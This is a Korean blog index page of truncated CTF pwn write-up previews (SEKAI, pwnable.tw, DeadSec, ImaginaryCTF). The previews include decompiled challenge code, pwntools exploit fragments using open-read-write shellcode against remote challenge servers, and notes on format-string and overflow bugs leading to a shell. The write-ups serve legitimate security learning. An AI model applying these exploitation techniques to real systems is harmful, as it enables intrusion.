분류 전체보기

    SEKAI CTF 2024 (Pwn) - nolibc

    SEKAI CTF 2024 (Pwn) - nolibc

    분석에 시간을 많이 썼던 문제 (심볼 없고 함수가 너무 많았던..) 라이브러리 없이 사용자 정의 함수로 굴러가는 바이너리다. 적당히 rename하면서 분석을 수행한다. void __noreturn start() { int menu_num; // [rsp+8h] [rbp-8h] int num; // [rsp+Ch] [rbp-4h] init(); while ( 1 ) { write("Welcome to String Storage!"); write("Please login or register an account to continue :)"); write(&null); while ( user_idx == 0xFFFFFFFF ) { write("1. Login"); write("2. Register"); wri..

    [pwnable.tw] orw write-up

    [pwnable.tw] orw write-up

    문제 제목과 설명 그대로 orw 쉘 코드를 실행시켜주면 된다.int __cdecl main(int argc, const char **argv, const char **envp){ orw_seccomp(); printf("Give my your shellcode:"); read(0, &shellcode, 200); ((void (*)(void))shellcode)(); return 0;} seccomp-tools로 확인해보면 다음과 같다. 로컬 문제 파일에선 shellcode 영역에 x권한이 없는데 리모트에는 있는 듯 하다.from pwn import *p = process('./orw')p = remote('chall.pwnable.tw', 10001)pay = asm(shellcraft.ope..

    [pwnable.tw] start write-up

    [pwnable.tw] start write-up

    특이사항으로 스택에 실행 권한이 있다. 문제 코드는 다음과 같다.__int64 start(){ __int64 result; // rax result = 0x3C00000003LL; __asm { int 80h; LINUX - sys_write int 80h; LINUX - sys_read } return result;} 어셈으로 보면 다음과 같으며 syscall table을 참조하여 해석할 수 있다..text:08048060 ; __int64 start().text:08048060 public _start.text:08048060 _start proc near ; DATA XREF: LOAD:0804..

    DeadSec CTF 2024 (Pwn)

    DeadSec CTF 2024 (Pwn)

    [ solved ]misc / Mic Check더보기그냥 echo 구현해주면 되는 문제from pwn import *context.log_level = 'debug'p = remote('34.134.200.24', 30373)for _ in range(100): p.recvuntil(b'> ') echo = p.recvuntil(b' ')[:-1] p.sendlineafter('>',echo)p.interactive() pwn / Super CPP Calculator더보기 int __cdecl __noreturn main(int argc, const char **argv, const char **envp){ calc_st calc; // [rsp+0h] [rbp-20h] BYREF ..

    ImaginaryCTF 2024 (Pwn)

    ImaginaryCTF 2024 (Pwn)

    [ solved ]pwn / imgstore더보기바이너리는 좀 긴데 리네이밍하면서 보니 취약한 부분은 한정되어 있었다.3번 메뉴인 sell 함수에서 fsb 트리거할 수 있고feedbeef 조건 맞춰주면 bof를 트리거할 수 있다. 근데 bof는 트리거 해도 fgets가 작동을 안한다.(왜 그런진 모르겠음) 그래서 그냥 리턴 주소를 원가젯으로 덮어서 쉘 땄다.unsigned __int64 sell(){ char v1; // [rsp+7h] [rbp-59h] BYREF int buf; // [rsp+8h] [rbp-58h] BYREF int fd; // [rsp+Ch] [rbp-54h] char title[72]; // [rsp+10h] [rbp-50h] BYREF unsigned __int64 v..